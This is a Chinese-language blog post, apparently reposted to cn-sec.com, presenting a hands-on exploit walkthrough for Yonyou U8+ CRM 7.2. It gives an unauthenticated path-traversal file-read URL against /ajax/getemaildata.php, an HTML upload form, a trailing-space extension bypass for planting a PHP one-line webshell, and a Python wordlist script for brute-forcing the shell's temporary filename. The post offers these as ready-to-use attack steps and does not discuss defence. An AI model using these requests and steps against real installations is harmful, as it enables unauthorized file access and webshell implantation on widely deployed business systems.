【实战】用友U8+ CRM任意文件上传、任意文件读取

admin 2023年8月3日15:56:50评论132 views字数 889阅读2分57秒阅读模式

用友CRM系统,使用量非常广,这里存在任意文件读取漏洞、任意文件上传漏洞

【实战】用友U8+ CRM任意文件上传、任意文件读取
用友U8+ CRM系统主界面



任意文件读取

存在漏洞的文件为:

/ajax/getemaildata.php

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt

可以看到用友版本7.2 patch2

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini

可以看到C://windows/win.ini

【实战】用友U8+ CRM任意文件上传、任意文件读取
任意文件读取



任意文件上传

首先构造一个文件上传的页面1.html

<html>
<form action="http://IP:端口//ajax/getemaildata.php?DontCheckLogin=1" method="post" enctype ="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" value="upload"/>
</form>
</html>

选择php一句话木马

【实战】用友U8+ CRM任意文件上传、任意文件读取


打开burp进行抓包,在文件上传的后缀名处添加一个空格

【实战】用友U8+ CRM任意文件上传、任意文件读取

返回的tmpfile\mht3AC8.tmp.mht即为木马地址,访问http://IP:端口/tmpfile//mht3AC8.tmp.mht即可看到未解析的马。木马的位置为tmpfile/upd****.tmp.php,将前面的mht改为upd,将后面的mht改为php

【实战】用友U8+ CRM任意文件上传、任意文件读取


抓包,将其放到爆破工具里,爆破中间的3AC8,范围是从0000~FFFF,共65536个

【实战】用友U8+ CRM任意文件上传、任意文件读取


生成字典的脚本如下:

with open('1.txt', 'w') as f:    for i in range(0x10000):        f.write(format(i, '04X') + 'n')

该脚本会在当前目录下生成1.txt

【实战】用友U8+ CRM任意文件上传、任意文件读取


成功访问到马

【实战】用友U8+ CRM任意文件上传、任意文件读取


原文始发于微信公众号(代码小铺):【实战】用友U8+ CRM任意文件上传、任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月3日15:56:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实战】用友U8+ CRM任意文件上传、任意文件读取http://cn-sec.com/archives/1931360.html

发表评论

匿名网友 填写信息